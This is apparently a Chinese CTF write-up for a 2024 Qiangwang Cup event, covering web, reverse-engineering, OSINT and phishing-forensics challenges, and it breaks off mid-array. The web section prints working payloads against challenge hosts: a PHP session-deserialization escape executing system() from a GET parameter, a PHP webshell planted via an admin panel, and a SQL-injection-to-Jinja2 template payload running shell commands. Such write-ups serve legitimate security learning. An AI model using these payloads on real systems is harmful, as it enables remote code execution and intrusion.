我们需要让我们构造的恶意字符能够进行反序列化,就需要逃逸";session_key|s:39:"GhDnVhCCFUFQzUW5WRqv3iX3fCTSc0m2u7bNs9O";password|s:99:​75个字符(本次生成长度为39),在username填充75个恶意字符就可以。

user|s:75:"execsystemsystemsystempopenpopenexecexecevalevalsystemsystemsystempopenexec";session_key|s:39:"GhDnVhCCFUFQzUW5WRqv3iX3fCTSc0m2u7bNs9O";password|s:99:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("syste"."m")($_GET[x]);";}password|s:1:"x'";

每次生成的长度不同,所以username可以给定一个固定值逃逸,然后等待爆破即可。只要长度符合即可

进行测试,因为sessionid的问题我们请求需要连贯,然后第一次请求session_id文件并没有内容,需要请求两次,然后再进行反序列化

import requests

params = {
    "x": "ls /"
}
data = {
  'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("syste"."m")($_GET[x]);";}password|s:1:"x',
  'username': 'execsystemsystemsystempopenpopenexecexecevalevalsystemsystemsystempopenexec'
}

url = "http://eci-2ze420okq7lsm6dzhp94.cloudeci1.ichunqiu.com/"
while 1:
    r = requests.session()
    r1 = r.post(url + '/index.php',  params=params, data=data, verify=False, allow_redirects=False)
    r2 = r.post(url + '/index.php',  params=params, data=data, verify=False, allow_redirects=False)
    r3 = r.post(url + '/dashboard.php?x=ls /',  verify=False, allow_redirects=False)
    print(r3.text)

长度少点也没问题

xiaohuanxiong

后台未授权:http://47.94.195.201:22547/admin/admins/

支付设置里面直接使用php代码,直接修改成一句话木马

image-20241104082009597

成功执行,使用蚁剑连接,拿到flag

snake

跑脚本,贪吃蛇自动化脚本要寻找优先路径,判断边界值和判断是否咬到自己。

import requests
import time
from collections import deque

# 游戏的 API 地址
url = "http://eci-2zeikei7c3gb3wwe1lu2.cloudeci1.ichunqiu.com:5000/move"
name = "http://eci-2zeikei7c3gb3wwe1lu2.cloudeci1.ichunqiu.com:5000/set_username"

# 初始化游戏状态
res = requests.post(name,{"username":"aaa"})
cookie = res.cookies
game_state = requests.post(url,cookies=cookie,json={"direction":"RIGHT"}).json()

# 定义方向
DIRECTIONS = {
    "UP": [0, -1],
    "DOWN": [0, 1],
    "LEFT": [-1, 0],
    "RIGHT": [1, 0]
}
WIDTH, HEIGHT = 20, 20


# 获取蛇的头部坐标
def get_snake_head(snake):
    return snake[0]


# 检查是否撞墙或咬到自己
def is_valid_move(snake, next_head):
    return (0 <= next_head[0] < WIDTH and
            0 <= next_head[1] < HEIGHT and
            next_head not in snake)


# BFS寻找最优路径
def find_path(snake, food):
    queue = deque([(get_snake_head(snake), [])])
    visited = set(tuple(segment) for segment in snake)

    while queue:
        current, path = queue.popleft()
        if list(current) == food:
            return path

        for direction in DIRECTIONS.values():
            next_head = (current[0] + direction[0], current[1] + direction[1])
            if is_valid_move(snake, next_head) and next_head not in visited:
                visited.add(next_head)
                queue.append((next_head, path + [next_head]))

    return []


# 移动蛇
def move_snake(direction):
    response = requests.post(url,cookies=cookie, json={"direction": direction})
    return response.json()


# 自动化贪吃蛇
def auto_snake(game_state):
    snake = game_state["snake"]
    food = game_state["food"]

    # 找到从蛇头到食物的路径
    path = find_path(snake, food)

    if path:
        next_head = path[0]
        head = get_snake_head(snake)

        # 确定移动方向
        if next_head[0] < head[0]:
            move_direction = "LEFT"
        elif next_head[0] > head[0]:
            move_direction = "RIGHT"
        elif next_head[1] < head[1]:
            move_direction = "UP"
        else:
            move_direction = "DOWN"

        return move_snake(move_direction)
    else:
        print("No valid path to food!")
        return game_state


# 示例执行
if __name__ == "__main__":
    while game_state["status"] == "ok":
        game_state = auto_snake(game_state)
        print(game_state)
print(game_state)

image-20241103223522865

获取到snake_win?username=aaa的时候发现存在sql注入

snake_win?username= aaa' union select "{{7*7}},"{{7*8}}","{{7*9}}" --

发现time的值变成了49,于是我们可以进行jinja2注入,我们使用x的这个payload,用eval来执行python代码

sql+jinja2注入

http://eci-2zeg9nmyrzhwqonhgzax.cloudeci1.ichunqiu.com:5000/snake_win?username=aaa' union select "{{7*7}}","{{7*8}}","{{x.__init__.__globals__['__builtins__']['eval']('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20

Proxy

发现就是一个nginx服务器没有赋权,

我们可以通过/v2/api/proxy​这个往本地的8379端口发送http请求,回显内容到浏览器上面,可以通过代码写出对应的json数据。

package main

import (
    "bytes"
    "io"
    "net/http"
    "os/exec"

    "github.com/gin-gonic/gin"
)

type ProxyRequest struct {
    URL             string            `json:"url" binding:"required"`
    Method          string            `json:"method" binding:"required"`
    Body            string            `json:"body"`
    Headers         map[string]string `json:"headers"`
    FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
    r := gin.Default()

    v1 := r.Group("/v1")
    {
        v1.POST("/api/flag", func(c *gin.Context) {
            cmd := exec.Command("/readflag")
            flag, err := cmd.CombinedOutput()
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }
            c.JSON(http.StatusOK, gin.H{"flag": flag})
        })
    }

    v2 := r.Group("/v2")
    {
        v2.POST("/api/proxy", func(c *gin.Context) {
            var proxyRequest ProxyRequest
            if err := c.ShouldBindJSON(&proxyRequest); err != nil {
                c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
                return
            }

            client := &http.Client{
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                    if !req.URL.IsAbs() {
                        return http.ErrUseLastResponse
                    }

                    if !proxyRequest.FollowRedirects {
                        return http.ErrUseLastResponse
                    }

                    return nil
                },
            }

            req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }

            for key, value := range proxyRequest.Headers {
                req.Header.Set(key, value)
            }

            resp, err := client.Do(req)

            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }

            defer resp.Body.Close()

            body, err := io.ReadAll(resp.Body)
            if err != nil {
                c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
                return
            }

            c.Status(resp.StatusCode)
            for key, value := range resp.Header {
                c.Header(key, value[0])
            }

            c.Writer.Write(body)
            c.Abort()
        })
    }

    r.Run("127.0.0.1:8769")
}

于是我们可以写一个脚本来发送(原本以为需要条件竞争的):

image-20241103174954067

RE

mips

不好玩,题都被做烂了才搞出来 。

smc 代码手动解一下就能看到里面的 syscall ,然后就是找找 qemu 是如何处理系统调用的,翻了半天文档和代码找到 do_syscall1 这个函数,然后通过特征定位一下二进制里对应的位置,一个巨大的 switch,往下翻会找到这个,动调就会发现是right 和 wrong,那下面的 flag 再交叉引用跟一下就找到了:

check1:

剩下的就是审计写代码了,不过最后发现解不出来,但是自己的输入输出是能正常解的,猜是dword_C32324 没搞对,写个爆破爆一下就行了:

int main()
{
    for (unsigned int kee = 0; kee < 256; kee++) {
        unsigned char v15[] = {54,104,50,68,18,97,111,223,186,233,152,40,61,168,230,30,77,242,177,126,194,106,150,140,55,25,20,66,162,17,229,91,157,35,3,131,248,216,9,138,60,125,26,70,73,220,118,99,62,4,154,12,67,75,114,95,83,33,116,102,79,167,246,123,148,163,71,143,244,82,42,137,48,51,39,44,245,117,23,121,94,127,156,203,85,187,96,56,184,210,212,139,191,31,65,69,0,130,105,64,225,159,226,211,74,28,113,98,24,36,151,132,10,142,63,15,1,134,14,103,201,153,136,176,110,84,146,239,155,213,165,11,221,189,174,204,200,58,101,86,224,241,6,27,250,188,196,145,193,46,19,240,88,238,172,236,166,38,57,181,175,195,16,90,13,93,41,21,107,80,178,254,170,144,169,81,208,182,198,52,252,160,179,53,234,7,164,34,128,109,129,87,135,37,199,76,214,206,119,215,173,120,122,133,161,243,232,92,115,72,218,49,78,45,147,22,2,112,29,251,205,227,247,100,249,197,8,158,149,43,228,32,209,253,124,47,190,185,219,222,231,217,59,235,255,183,202,180,5,192,171,207,237,108,141,89
        };
        unsigned char key[] = { 0xDE, 0xAD, 0xBE, 0xEF };
        unsigned char v14[30];
        memset(v14, 0, 30);
        unsigned char v7 = 0;
        unsigned char v8 = 0;
        unsigned char v12 = 0;
        unsigned char a1[] = "flag{222222222222222222222}";
        unsigned char v3 = 0;

        for (int j = 0; j != 22; ++j)
        {
            v12 = *((unsigned __int8*)v15 + (unsigned __int8)++v7);
            v8 += v12;
            *((_BYTE*)v15 + (unsigned __int8)v7) = *((_BYTE*)v15 + (unsigned __int8)v8);
            *((_BYTE*)v15 + (unsigned __int8)v8) = v12;
            v3 = ((((unsigned __int8)(*(_BYTE*)(j + 5 + a1) << 7) | (*(_BYTE*)(j + 5 + a1) >> 1)) << 6) ^ 0xC0 | ((unsigned __int8)((*(_BYTE*)(j + 5 + a1) << 7) | (*(_BYTE*)(j + 5 + a1) >> 1)) >> 2) ^ 0x3B);
            v3 ^= 0xBE;

            unsigned char data = (((unsigned __int8)(((16 * (((0x20 * v3) | (v3 >> 3)) ^ 0xAD)) | ((unsigned __int8)(((0x20 * v3) | (v3 >> 3)) ^ 0xAD) >> 4)) ^ 0xDE) >> 5) | (8 * (((16 * (((0x20 * v3) | (v3 >> 3)) ^ 0xAD)) | ((unsigned __int8)(((0x20 * v3) | (v3 >> 3)) ^ 0xAD) >> 4)) ^ 0xDE)));
            *(_BYTE*)(j + v14) = *((_BYTE*)v15 + (unsigned __int8)(*((_BYTE*)v15 + (unsigned __int8)v7) + v12)) ^ key[j & 3] ^ data;
        }

        for (int i = 0; i < 22; i++) {
            v14[i] ^= 0xdf;
        }
        unsigned char temp = 0;
        temp = v14[11];
        v14[11] = v14[7];
        v14[7] = temp;

        temp = v14[12];
        v14[12] = v14[16];
        v14[16] = temp;



        unsigned char ida_chars[] =
        {
          0xC4, 0x00, 0x00, 0x00, 0xEE, 0x00, 0x00, 0x00, 0x3C, 0x00,
          0x00, 0x00, 0xBB, 0x00, 0x00, 0x00, 0xE7, 0x00, 0x00, 0x00,
          0xFD, 0x00, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, 0x1D, 0x00,
          0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, 0x97, 0x00, 0x00, 0x00,
          0x68, 0x00, 0x00, 0x00, 0x9D, 0x00, 0x00, 0x00, 0x0B, 0x00,
          0x00, 0x00, 0x7F, 0x00, 0x00, 0x00, 0xC7, 0x00, 0x00, 0x00,
          0x80, 0x00, 0x00, 0x00, 0xDF, 0x00, 0x00, 0x00, 0xF9, 0x00,
          0x00, 0x00, 0x4B, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00,
          0x46, 0x00, 0x00, 0x00, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00
        };
        unsigned char output[23] = { 0 };
        unsigned char enc[23];
        
        for (int i = 0; i < 22; i++) {
            enc[i] = ida_chars[i * 4];
        }

        //enc = v14;
        temp = enc[12];
        enc[12] = enc[16];
        enc[16] = temp;

        temp = enc[11];
        enc[11] = enc[7];
        enc[7] = temp;

        for (int i = 0; i < 22; i++) {
            enc[i] ^= kee;
        }

        for (int j = 21; j >= 0; j--) {
            unsigned char tempx = enc[j];
            tempx = tempx ^ (*((_BYTE*)v15 + (unsigned __int8)(*((_BYTE*)v15 + (unsigned __int8)v7) + v12))) ^ key[j & 3];
            tempx = (tempx << 5) | (tempx >> 3);
            tempx ^= 0xde;
            tempx = (tempx >> 4) | (tempx << 4);
            tempx ^= 0xad;
            tempx = (tempx << 3) | (tempx >> 5);

            tempx ^= 0xBE;
            tempx ^= 0xc0;
            tempx ^= 0x3b;
            tempx = (tempx << 2) | (tempx >> 6);
            tempx = (tempx << 1) | (tempx >> 7);
            output[j] = tempx;

            temp = v15[v8];
            v15[v8] = v15[v7];
            v15[v7] = temp;
            v7--;
            v8 -= v12;
            v12 = v15[v8];
        }
        printf("key [%u] :%s\n",kee, output);
    }
}

ez_vm

没啥好评价的,trace + 手撕,基于堆栈的虚拟机直接跟踪一下值的变化就把流程手撕出来了,纯堆工作量……

但不得不说最后竟然还是要爆破,而且在爆破过程中发现他那个 table 存在多解的情况,导致第一次没爆出来,找了半天最后在下面加个 break 就行了…… 真的很难评价……(如果是我的问题,当我没说)巨大数组就不贴了,就放个爆破相关的部分吧:

printf("start boom!\n");

unsigned char en1[] =
{
  0xC4, 0x0C, 0xC0, 0x20, 0xFC, 0x48, 0xF6, 0xD2, 0x6C, 0xD2,
  0xFC, 0x2B, 0x5C, 0xA7, 0x2E, 0x65, 
};
unsigned char testenc[] =
{
  0x41, 0xFE, 0x0E, 0x64,0x05, 0x6E, 0xD5, 0x9C, 0xCC, 0x41, 
  0x1D, 0x10, 0xBE, 0xA0,0xF5, 0x09
};

unsigned char enc2[] =
{
  0x95, 0x8C, 0x72, 0x8B, 0x22, 0x3E, 0x27, 0x6A, 0x6B, 0xD3,
  0xDE, 0x8C, 0xED, 0x58, 0xB5, 0x0C
};

unsigned char *reversetable1;
   
for (int i = 0; i < 16; i++) {
    reversetable1=0x9000+ ((unsigned char*)numbertable);
    reversetable1 += 0x100 * i;
    for (int j = 0; j < 256; j++) {
        if (reversetable1[j] == testenc[i]) {
            testenc[i] = j;
            break;
        }
    }
}

tempbuf[0] = testenc[0];
tempbuf[5] = testenc[1];
tempbuf[10] = testenc[2];
tempbuf[15] = testenc[3];
tempbuf[4] = testenc[4];
tempbuf[9] = testenc[5];
tempbuf[14] = testenc[6];
tempbuf[3] = testenc[7];
tempbuf[8] = testenc[8];
tempbuf[13] = testenc[9];
tempbuf[2] = testenc[10];
tempbuf[7] = testenc[11];
tempbuf[12] = testenc[12];
tempbuf[1] = testenc[13];
tempbuf[6] = testenc[14];
tempbuf[11] = testenc[15];

for (int i = 0; i < 16; i++) {
    testenc[i] = tempbuf[i];
}

cookindex = 331;
startindex = 187;

int find = 0;
for (int i = 0; i < 9; i++) {
    number = testenc[15] + (testenc[14] << 8) + (testenc[13] << 16) + (testenc[12] << 24);
    printf("recover target D: [%x]\n", number);
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[cookindex][i4];
                    unsigned int guess2 = numbertable[cookindex-1][i3];
                    unsigned int guess3 = numbertable[cookindex-2][i2];
                    unsigned int guess4 = numbertable[cookindex-3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[12] = i1;
                        testenc[13] = i2;
                        testenc[14] = i3;
                        testenc[15] = i4;
                        find = 1;
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }
    find = 0;


    number = testenc[15] + (testenc[14] << 8) + (testenc[13] << 16) + (testenc[12] << 24);
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[startindex][i4];
                    unsigned int guess2 = numbertable[startindex - 1][i3];
                    unsigned int guess3 = numbertable[startindex - 2][i2];
                    unsigned int guess4 = numbertable[startindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[12] = i1;
                        testenc[13] = i2;
                        testenc[14] = i3;
                        testenc[15] = i4;
                        find = 1;
                        printf("recover D part [%x] [%x] [%x] [%x]\n", i1, i2, i3, i4);
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }

        }
        if (find) {
            break;
        }
    }
    cookindex -= 4;
    startindex -= 4;
    find = 0;
    number = testenc[11] + (testenc[10] << 8) + (testenc[9] << 16) + (testenc[8] << 24);
    printf("recover target C: [%x]\n", number);
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[cookindex][i4];
                    unsigned int guess2 = numbertable[cookindex - 1][i3];
                    unsigned int guess3 = numbertable[cookindex - 2][i2];
                    unsigned int guess4 = numbertable[cookindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[8] = i1;
                        testenc[9] = i2;
                        testenc[10] = i3;
                        testenc[11] = i4;
                        find = 1;
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }

    find = 0;
    number = testenc[11] + (testenc[10] << 8) + (testenc[9] << 16) + (testenc[8] << 24);
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[startindex][i4];
                    unsigned int guess2 = numbertable[startindex - 1][i3];
                    unsigned int guess3 = numbertable[startindex - 2][i2];
                    unsigned int guess4 = numbertable[startindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[8] = i1;
                        testenc[9] = i2;
                        testenc[10] = i3;
                        testenc[11] = i4;
                        find = 1;
                        printf("recover C part [%x] [%x] [%x] [%x]\n", i1, i2, i3, i4);
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }

    cookindex -= 4;
    startindex -= 4;
    find = 0;
    number = testenc[7] + (testenc[6] << 8) + (testenc[5] << 16) + (testenc[4] << 24);
    printf("recover target B: [%x]\n", number);
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[cookindex][i4];
                    unsigned int guess2 = numbertable[cookindex - 1][i3];
                    unsigned int guess3 = numbertable[cookindex - 2][i2];
                    unsigned int guess4 = numbertable[cookindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[4] = i1;
                        testenc[5] = i2;
                        testenc[6] = i3;
                        testenc[7] = i4;
                        find = 1;
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }
    number = testenc[7] + (testenc[6] << 8) + (testenc[5] << 16) + (testenc[4] << 24);
    find = 0;
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[startindex][i4];
                    unsigned int guess2 = numbertable[startindex - 1][i3];
                    unsigned int guess3 = numbertable[startindex - 2][i2];
                    unsigned int guess4 = numbertable[startindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[4] = i1;
                        testenc[5] = i2;
                        testenc[6] = i3;
                        testenc[7] = i4;
                        find = 1;
                        printf("recover B part [%x] [%x] [%x] [%x]\n", i1, i2, i3, i4);
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }

    cookindex -= 4;
    startindex -= 4;
    find = 0;

    number = testenc[3] + (testenc[2] << 8) + (testenc[1] << 16) + (testenc[0] << 24);
    printf("recover target A: [%x]\n", number);
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[cookindex][i4];
                    unsigned int guess2 = numbertable[cookindex - 1][i3];
                    unsigned int guess3 = numbertable[cookindex - 2][i2];
                    unsigned int guess4 = numbertable[cookindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[0] = i1;
                        testenc[1] = i2;
                        testenc[2] = i3;
                        testenc[3] = i4;
                        find = 1;
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }
    number = testenc[3] + (testenc[2] << 8) + (testenc[1] << 16) + (testenc[0] << 24);
    find = 0;
    for (int i1 = 0; i1 < 256; i1++) {
        for (int i2 = 0; i2 < 256; i2++) {
            for (int i3 = 0; i3 < 256; i3++) {
                for (int i4 = 0; i4 < 256; i4++) {
                    unsigned int guess1 = numbertable[startindex][i4];
                    unsigned int guess2 = numbertable[startindex - 1][i3];
                    unsigned int guess3 = numbertable[startindex - 2][i2];
                    unsigned int guess4 = numbertable[startindex - 3][i1];
                    if ((guess1 ^ guess2 ^ guess3 ^ guess4) == number) {
                        testenc[0] = i1;
                        testenc[1] = i2;
                        testenc[2] = i3;
                        testenc[3] = i4;
                        find = 1;
                        printf("recover A part [%x] [%x] [%x] [%x]\n", i1, i2, i3, i4);
                        break;
                    }
                }
                if (find) {
                    break;
                }
            }
            if (find) {
                break;
            }
        }
        if (find) {
            break;
        }
    }
    cookindex -= 4;
    startindex -= 4;
    find = 0;


    tempbuf[0] = testenc[0];
    tempbuf[5] = testenc[1];
    tempbuf[10] = testenc[2];
    tempbuf[15] = testenc[3];
    tempbuf[4] = testenc[4];
    tempbuf[9] = testenc[5];
    tempbuf[14] = testenc[6];
    tempbuf[3] = testenc[7];
    tempbuf[8] = testenc[8];
    tempbuf[13] = testenc[9];
    tempbuf[2] = testenc[10];
    tempbuf[7] = testenc[11];
    tempbuf[12] = testenc[12];
    tempbuf[1] = testenc[13];
    tempbuf[6] = testenc[14];
    tempbuf[11] = testenc[15];
    for (int i = 0; i < 16; i++) {
        testenc[i] = tempbuf[i];
    }

    printf("recover ALL part:\n");
    for (int i = 0; i < 16; i++) {
        printf("[%x]", testenc[i]);
    }
    printf("\n\n");
}

for (int i = 0; i < 16; i++) {
    printf("%x", testenc[i]);
}
printf("\n");
printf("end\n");

MISC

givemesecret

image-20241103174902202

添加flag{和结尾}即可。

Master of OSINT

  1. 百度识图发现很像青海湖,围绕着青海湖的公路爆破了下得到经纬度

    参考链接

    https://graph.baidu.com/pcpage/similar?carousel=503&entrance=GENERAL&extUiData%5BisLogoShow%5D=1&image=http%3A%2F%2Fmms2.baidu.com%2Fit%2Fu%3D895559915,3272053977%26fm%3D253%26app%3D138%26f%3DJPEG%3Fw%3D749%26h%3D500&index=0&inspire=general_pc&next=2&originSign=12639c034756659de313201730596738&page=1&render_type=carousel&session_id=5727707675879768246&shituToken=0b0ec6&sign=12639c034756659de313201730596738&srcp=crs_pc_similar&tpl_from=pc
    
    https://map.baidu.com/search/%E9%9D%92%E6%B5%B7%E6%B9%96%E6%99%AF%E5%8C%BA/@11107286.300771784,4441141.565066589,17.06z,43.03h/maptype%3DB_EARTH_MAP?querytype=s&da_src=shareurl&wd=%E9%9D%92%E6%B5%B7%E6%B9%96%E6%99%AF%E5%8C%BA&c=315&src=0&wd2=%E6%B5%B7%E5%8D%97%E8%97%8F%E6%97%8F%E8%87%AA%E6%B2%BB%E5%B7%9E%E5%85%B1%E5%92%8C%E5%8E%BF&pn=0&sug=1&l=21&b=(13218701.059496626,3743901.609245461;13218895.059496626,3743995.359245461)&from=webmap&biz_forward=%7B%22scaler%22:2,%22styles%22:%22pl%22%7D&sug_forward=08fc93dff52224919b68b4c3&device_ratio=2
    
    https://api.map.baidu.com/lbsapi/getpoint/index.html

    99.97637,36.667097

  2. 图中漏了百安居 + 迪卡侬 ,直接百度地图找百安居(因为我不知道是啥就先搜了这个)

    先从最多的开始筛选,将两个店名来进行搜索比较发现浦东新区跟杨浦区很近

    明显浦东新区和杨浦区有相似点 于是跟进去看,从地图上看存在高架并且双店都在一起

    坐标一下找到店铺后推测下拍摄地点找到经纬度

    121.568736,31.210213

  3. 使用百度识图搜索塔楼发现为成都双流机场

    根据路口为丁字路口,利用卫星地图查询

    https://map.baidu.com/search/%E6%88%90%E9%83%BD%E5%8F%8C%E6%B5%81%E5%9B%BD%E9%99%85%E6%9C%BA%E5%9C%BA/@11573409.49,3555357.24,21z,87t,-92.49h?querytype=s&da_src=shareurl&wd=%E6%88%90%E9%83%BD%E5%8F%8C%E6%B5%81%E5%9B%BD%E9%99%85%E6%9C%BA%E5%9C%BA&c=77&src=0&pn=0&sug=0&l=13&b=(11578176.25788,3501420.54008;11614673.59556,3519059.85091)&from=webmap&biz_forward=%7B%22scaler%22:2,%22styles%22:%22pl%22%7D&device_ratio=2#panoid=09019200122003101017234335L&panotype=street&heading=167.01&pitch=-20&l=21&tn=B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09019200122003101017234335L
    
    103.964008,30.572511
  4. 典型的重庆轻轨,跟着轻轨线路寻找带有立交桥的发现是重庆市九龙坡区谢家湾立交

    https://map.baidu.com/@11858383.3,3421576.56,21z,87t,-7.21h#panoid=0902920012221023154756113AU&panotype=street&heading=39.03&pitch=0.66&l=13&tn=B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=0902920012221023154756113AU
    
    106.525069,29.525887
  5. 南京地标性建筑:金鹰世界

    根据图片中在高架上,且左手边还有工地

    定位到此处

    https://map.baidu.com/search/%E9%87%91%E9%B9%B0%E4%B8%96%E7%95%8C(%E5%BA%94%E5%A4%A9%E5%A4%A7%E8%A1%97%E5%BA%97)/@13220627.23,3743194.15,21z,87t,62.7h#panoid=0900250012200227133959994HK&panotype=street&heading=303.59&pitch=-18.21&l=13&tn=B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=0900250012200227133959994HK
    
    118.781809,32.013633
  6. 特征建筑直接锁定长沙

    https://map.baidu.com/poi/%E6%BD%87%E6%B9%98%E5%A4%A7%E9%81%93/@12575551.660000002,3254051.85,21z,87t,86.97h#panoid=09031800122204131304043772R&panotype=street&heading=17.22&pitch=-16.27&l=13&tn=B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09031800122204131304043772R
    
    112.969777,28.201548
  7. 根据旁边风格发现在海边,搜跨海大桥一个一个对照看

    https://map.baidu.com/search/%E4%B8%8A%E6%B5%B7%E9%95%BF%E6%B1%9F%E5%A4%A7%E6%A1%A5-%E9%81%93%E8%B7%AF/@13554155.559999984,3668005.3053444917,13.85z,87t,-29.47h/maptype%3DB_EARTH_MAP?querytype=s&da_src=shareurl&wd=%E4%B8%8A%E6%B5%B7%E9%95%BF%E6%B1%9F%E5%A4%A7%E6%A1%A5-%E9%81%93%E8%B7%AF&c=132&src=0&wd2=%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%B4%87%E6%98%8E%E5%8C%BA&pn=0&sug=1&l=16&b=(11850855.99339754,3420533.636638544;11855611.192323698,3424590.4750553863)&from=webmap&biz_forward=%7B%22scaler%22:2,%22styles%22:%22sl%22%7D&sug_forward=a63a4b856514af4a29201a14&device_ratio=2#panoid=01000300001401061023230855B&panotype=street&heading=81.19&pitch=-15.86&l=13.846294374033633&tn=B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=01000300001401061023230855B
    
    121.734859,31.412794
  8. 直接识图,就能找到该大桥

    https://map.baidu.com/poi/%E6%AD%A6%E6%B1%89%E5%A4%A9%E5%85%B4%E6%B4%B2%E9%95%BF%E6%B1%9F%E5%A4%A7%E6%A1%A5/@12735596.19,3568606.24,21z,87t,-148.08h#panoid=09000200011604111122258359Q&panotype=street&heading=29.24&pitch=-11.02&l=13&tn=B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09000200011604111122258359Q
    
    114.413657,30.659417
  9. 直接搜所有的宏泰百货,锁定浙江杭州萧山区,根据河流和立交桥交叉通过,查找周围,发现该地点

    120.309502,30.152224

    随后得到flag

Master of DFIR - Phishing

Q1:攻击者的邮箱是什么? (注意:MD5(攻击者邮箱),以cyberchef的为准) 示例:9b04d152845ec0a378394003c96da594

在邮件里发现了一个邮箱地址,得到Return-Path: alice@flycode.cn

alice@flycode.cn
a8cd5b4ba47e185d4a69a583fde84da5

Q2:攻击者所投放的文件md5是什么? (注意:以md5sum的结果为准) 示例:33ec9f546665aec46947dca16646d48e

直接提交文件的Md5即可,将压缩包放入CyberChef计算md5即可

关于组织参加第八届“强网杯”全国网络安全挑战赛的通知(112日至3日举行线上赛).zip
f436b02020fa59f3f71e0b6dcac6c7d3

Q3:(3/13) 攻击者所使用的攻击载荷后缀是什么? 示例:lnk

msc

Q4:攻击者所投放样本的初始执行语句在该攻击载荷文件的第几行? 示例:20

image-20241103223923010

97

Q5:经过初始执行后,攻击者所加载的第二部分载荷所使用的语言是什么? 示例:javascript

image-20241103223938905

辅助判断了一下得到外带一些猜测,最终得到是vbs,但是刚开始一直交的visual basic交不上去,最后灵光一现

vbscript

Q6:攻击者所进行的第二部分载荷其将白EXE存在了什么地方? (注意:需要提供完成的解混淆后的第二部分载荷s*******s函数的参数) 提交需要MD5(参数内容) 以Cyberchef

上面的那个代码做了很多混淆,使用AI辅助,解出来了两个地址,挨个尝试提交得到

chars1 = [
    chr(47), chr(0x4d), chr(77), "C", chr(95), chr(int("0x43", 16)), "o",
    chr(int("110")), chr(0x73), chr(int("111")), "l", chr(0x65),
    chr(int("0x46", 16)), "i", chr(5094-4986), chr(101), chr(int("47")),
    chr(331-265), chr(105), chr(int("0x6e", 16)), chr(int("0x61", 16)),
    chr(0x72), chr(int("121")), chr(0x53), chr(116), "o", "r",
    chr(-1088+1185), chr(2152-2049), chr(266943//2643), chr(int("47")),
    chr(-385+451), chr(105), chr(int("0x6e", 16)), chr(int("0x61", 16)),
